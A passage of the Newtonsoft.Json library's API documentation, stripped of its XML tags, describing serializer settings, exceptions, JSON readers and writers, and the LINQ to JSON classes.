message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Instructs the to always serialize the member, and to require that the member has a value. - - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Serializes and deserializes objects into and from the JSON format. - The enables you to control how objects are encoded into JSON. - - - - - Occurs when the errors during serialization and deserialization. - - - - - Gets or sets the used by the serializer when resolving references. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - - - - Gets or sets how reference loops (e.g. a class referencing itself) is handled. - The default value is . - - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets a collection that will be used during serialization. - - Collection that will be used during serialization. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. - The default value is false. - - - true if there will be a check for additional JSON content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Creates a new instance. - The will not use default settings - from . - - - A new instance. - The will not use default settings - from . - - - - - Creates a new instance using the specified . - The will not use default settings - from . - - The settings to be applied to the . - - A new instance using the specified . - The will not use default settings - from . - - - - - Creates a new instance. - The will use default settings - from . - - - A new instance. - The will use default settings - from . - - - - - Creates a new instance using the specified . - The will use default settings - from as well as the specified . - - The settings to be applied to the . - - A new instance using the specified . - The will use default settings - from as well as the specified . - - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Deserializes the JSON structure contained by the specified . - - The that contains the JSON structure to deserialize. - The being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The type of the object to deserialize. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is Auto to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Specifies the settings on a object. - - - - - Gets or sets how reference loops (e.g. a class referencing itself) are handled. - The default value is . - - Reference loop handling. - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - Missing member handling. - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - Null value handling. - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - The default value handling. - - - - Gets or sets a collection that will be used during serialization. - - The converters. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - The preserve references handling. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - The type name handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - The contract resolver. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets the used by the serializer when resolving references. - - The reference resolver. - - - - Gets or sets a function that creates the used by the serializer when resolving references. - - A function that creates the used by the serializer when resolving references. - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the error handler called during serialization and deserialization. - - The error handler called during serialization and deserialization. - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets a value indicating whether there will be a check for additional content after deserializing an object. - The default value is false. - - - true if there will be a check for additional content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - using values copied from the passed in . - - - - - Represents a reader that provides fast, non-cached, forward-only access to JSON text data. - - - - - Initializes a new instance of the class with the specified . - - The containing the JSON data to read. - - - - Gets or sets the reader's property name table. - - - - - Gets or sets the reader's character buffer pool. - - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - - The current line number or 0 if no line information is available (for example, returns false). - - - - - Gets the current line position. - - - The current line position or 0 if no line information is available (for example, returns false). - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets or sets the writer's character array pool. - - - - - Gets or sets how many s to write for each level in the hierarchy when is set to . - - - - - Gets or sets which character to use to quote attribute values. - - - - - Gets or sets which character to use for indenting when is set to . - - - - - Gets or sets a value indicating whether object names will be surrounded with quotes. - - - - - Initializes a new instance of the class using the specified . - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying . - - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the specified end token. - - The end token to write. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Specifies the type of JSON token. - - - - - This is returned by the if a read method has not been called. - - - - - An object start token. - - - - - An array start token. - - - - - A constructor start token. - - - - - An object property name. - - - - - A comment. - - - - - Raw JSON. - - - - - An integer. - - - - - A float. - - - - - A string. - - - - - A boolean. - - - - - A null token. - - - - - An undefined token. - - - - - An object end token. - - - - - An array end token. - - - - - A constructor end token. - - - - - A Date. - - - - - Byte data. - - - - - - Represents a reader that provides validation. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Sets an event handler for receiving schema validation errors. - - - - - Gets the text value of the current JSON token. - - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - - Gets the type of the current JSON token. - - - - - - Gets the .NET type for the current JSON token. - - - - - - Initializes a new instance of the class that - validates the content returned from the given . - - The to read from while validating. - - - - Gets or sets the schema. - - The schema. - - - - Gets the used to construct this . - - The specified in the constructor. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a []. - - - A [] or null if the next JSON token is null. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets or sets a value indicating whether the destination should be closed when this writer is closed. - - - true to close the destination when this writer is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. - - - true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. - - - - - Gets the top. - - The top. - - - - Gets the state of the writer. - - - - - Gets the path of the writer. - - - - - Gets or sets a value indicating how JSON text output should be formatted. - - - - - Gets or sets how dates are written to JSON text. - - - - - Gets or sets how time zones are handled when writing JSON text. - - - - - Gets or sets how strings are escaped when writing JSON text. - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written to JSON text. - - - - - Gets or sets how and values are formatted when writing JSON text. - - - - - Gets or sets the culture used when writing JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the destination and also flushes the destination. - - - - - Closes this writer. - If is set to true, the destination is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the end of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the end of an array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end constructor. - - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes the end of the current JSON object or array. - - - - - Writes the current token and its children. - - The to read the token from. - - - - Writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - - - - Writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - - - - Writes the token. - - The to write. - - - - Writes the specified end token. - - The end token to write. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON without changing the writer's state. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Sets the state of the . - - The being written. - The value being written. - - - - The exception thrown when an error occurs while writing JSON text. - - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Specifies how JSON comments are handled when loading JSON. - - - - - Ignore comments. - - - - - Load comments as a with type . - - - - - Specifies how duplicate property names are handled when loading JSON. - - - - - Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. - - - - - Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. - - - - - Throw a when a duplicate property is encountered. - - - - - Contains the LINQ to JSON extension methods. - - - - - Returns a collection of tokens that contains the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the descendants of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, and the descendants of every token in the source collection. - - - - Returns a collection of child properties of every object in the source collection. - - An of that contains the source collection. - An of that contains the properties of every object in the source collection. - - - - Returns a collection of child values of every object in the source collection with the given key. - - An of that contains the source collection. - The token key. - An of that contains the values of every token in the source collection with the given key. - - - - Returns a collection of child values of every object in the source collection. - - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child values of every object in the source collection with the given key. - - The type to convert the values to. - An of that contains the source collection. - The token key. - An that contains the converted values of every token in the source collection with the given key. - - - - Returns a collection of converted child values of every object in the source collection. - - The type to convert the values to. - An of that contains the source collection. - An that contains the converted values of every token in the source collection. - - - - Converts the value. - - The type to convert the value to. - A cast as a of . - A converted value. - - - - Converts the value. - - The source collection type. - The type to convert the value to. - A cast as a of . - A converted value. - - - - Returns a collection of child tokens of every array in the source collection. - - The source collection type. - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child tokens of every array in the source collection. - - An of that contains the source collection. - The type to convert the values to. - The source collection type. - An that contains the converted values of every token in the source collection. - - - - Returns the input typed as . - - An of that contains the source collection. - The input typed as . - - - - Returns the input typed as . - - The source collection type. - An of that contains the source collection. - The input typed as . - - - - Represents a collection of objects. - - The type of token. - - - - Gets the of with the specified key. - - - - - - Represents a JSON array. - - - - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Loads an from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads an from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the at the specified index. - - - - - - Determines the index of a specific item in the . - - The object to locate in the . - - The index of if found in the list; otherwise, -1. - - - - - Inserts an item to the at the specified index. - - The zero-based index at which should be inserted. - The object to insert into the . - - is not a valid index in the . - - - - - Removes the item at the specified index. - - The zero-based index of the item to remove. - - is not a valid index in the . - - - - - Returns an enumerator that iterates through the collection. - - - A of that can be used to iterate through the collection. - - - - - Adds an item to the . - - The object to add to the . - - - - Removes all items from the . - - - - - Determines whether the contains a specific value. - - The object to locate in the . - - true if is found in the ; otherwise, false. - - - - - Copies the elements of the to an array, starting at a particular array index. - - The array. - Index of the array. - - - - Gets a value indicating whether the is read-only. - - true if the is read-only; otherwise, false. - - - - Removes the first occurrence of a specific object from the . - - The object to remove from the . - - true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . - - - - - Represents a JSON constructor. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets or sets the name of this constructor. - - The constructor name. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name. - - The constructor name. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a token that can contain other tokens. - - - - - Occurs when the list changes or an item in the list changes. - - - - - Occurs before an item is added to the collection. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Raises the event. - - The instance containing the event data. - - - - Raises the event. - - The instance containing the event data. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Get the first child token of this token. - - - A containing the first child token of the . - - - - - Get the last child token of this token. - - - A containing the last child token of the . - - - - - Returns a collection of the child tokens of this token, in document order. - - - An of containing the child tokens of this , in document order. - - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - - A containing the child values of this , in document order. - - - - - Returns a collection of the descendant tokens for this token in document order. - - An of containing the descendant tokens of the . - - - - Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. - - An of containing this token, and all the descendant tokens of the . - - - - Adds the specified content as children of this . - - The content to be added. - - - - Adds the specified content as the first children of this . - - The content to be added. - - - - Creates a that can be used to add tokens to the . - - A that is ready to have content written to it. - - - - Replaces the child nodes of this token with the specified content. - - The content. - - - - Removes the child nodes from this token. - - - - - Merge the specified content into this . - - The content to be merged. - - - - Merge the specified content into this using . - - The content to be merged. - The used to merge the content. - - - - Gets the count of child JSON tokens. - - The count of child JSON tokens. - - - - Represents a collection of objects. - - The type of token. - - - - An empty collection of objects. - - - - - Initializes a new instance of the struct. - - The enumerable. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Gets the of with the specified key. - - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Returns a hash code for this instance. - - - A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. - - - - - Represents a JSON object. - - - - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Occurs when a property value changes. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Gets the node type for this . - - The type. - - - - Gets an of of this object's properties. - - An of of this object's properties. - - - - Gets a with the specified name. - - The property name. - A with the specified name or null. - - - - Gets the with the specified name. - The exact name will be searched for first and if no matching property is found then - the will be used to match a property. - - The property name. - One of the enumeration values that specifies how the strings will be compared. - A matched with the specified name or null. - - - - Gets a of of this object's property values. - - A of of this object's property values. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the with the specified property name. - - - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified property name. - - Name of the property. - The with the specified property name. - - - - Gets the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - One of the enumeration values that specifies how the strings will be compared. - The with the specified property name. - - - - Tries to get the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - The value. - One of the enumeration values that specifies how the strings will be compared. - true if a value was successfully retrieved; otherwise, false. - - - - Adds the specified property name. - - Name of the property. - The value. - - - - Determines whether the JSON object has the specified property name. - - Name of the property. - true if the JSON object has the specified property name; otherwise, false. - - - - Removes the property with the specified name. - - Name of the property. - true if item was successfully removed; otherwise, false. - - - - Tries to get the with the specified property name. - - Name of the property. - The value. - true if a value was successfully retrieved; otherwise, false. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Represents a JSON property. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the property name. - - The property name. - - - - Gets or sets the property value. - - The property value. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a view of a . - - - - - Initializes a new instance of the class. - - The name. - - - - When overridden in a derived class, returns whether resetting an object changes its value. - - - true if resetting the component changes its value; otherwise, false. - - The component to test for reset capability. - - - - When overridden in a derived class, gets the current value of the property on a component. - - - The value of a property for a given component. - - The component with the property for which to retrieve the value. - - - - When overridden in a derived class, resets the value for this property of the component to the default value. - - The component with the property value that is to be reset to the default value. - - - - When overridden in a derived class, sets the value of the component to a different value. - - The component with the property value that is to be set. - The new value. - - - - When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. - - - true if the property should be persisted; otherwise, false. - - The component with the property to be examined for persistence. - - - - When overridden in a derived class, gets the type of the component this property is bound to. - - - A that represents the type of component this property is bound to. - When the or - - methods are invoked, the object specified might be an instance of this type. - - - - - When overridden in a derived class, gets a value indicating whether this property is read-only. - - - true if the property is read-only; otherwise, false. - - - - - When overridden in a derived class, gets the type of the property. - - - A that represents the type of the property. - - - - - Gets the hash code for the name of the member. - - - - The hash code for the name of the member. - - - - - Represents a raw JSON string. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class. - - The raw json. - - - - Creates an instance of with the content of the reader's current token. - - The reader. - An instance of with the content of the reader's current token. - - - - Specifies the settings used when cloning JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets a flag that indicates whether to copy annotations when cloning a . - The default value is true. - - - A flag that indicates whether to copy annotations when cloning a . - - - - - Specifies the settings used when loading JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets how JSON comments are handled when loading JSON. - The default value is . - - The JSON comment handling. - - - - Gets or sets how JSON line info is handled when loading JSON. - The default value is . - - The JSON line info handling. - - - - Gets or sets how duplicate property names in JSON objects are handled when loading JSON. - The default value is . - - The JSON duplicate property name handling. - - - - Specifies the settings used when merging JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the method used when merging JSON arrays. - - The method used when merging JSON arrays. - - - - Gets or sets how null value properties are merged. - - How null value properties are merged. - - - - Gets or sets the comparison used to match property names while merging. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - The comparison used to match property names while merging. - - - - Specifies the settings used when selecting JSON. - - - - - Gets or sets a flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - A flag that 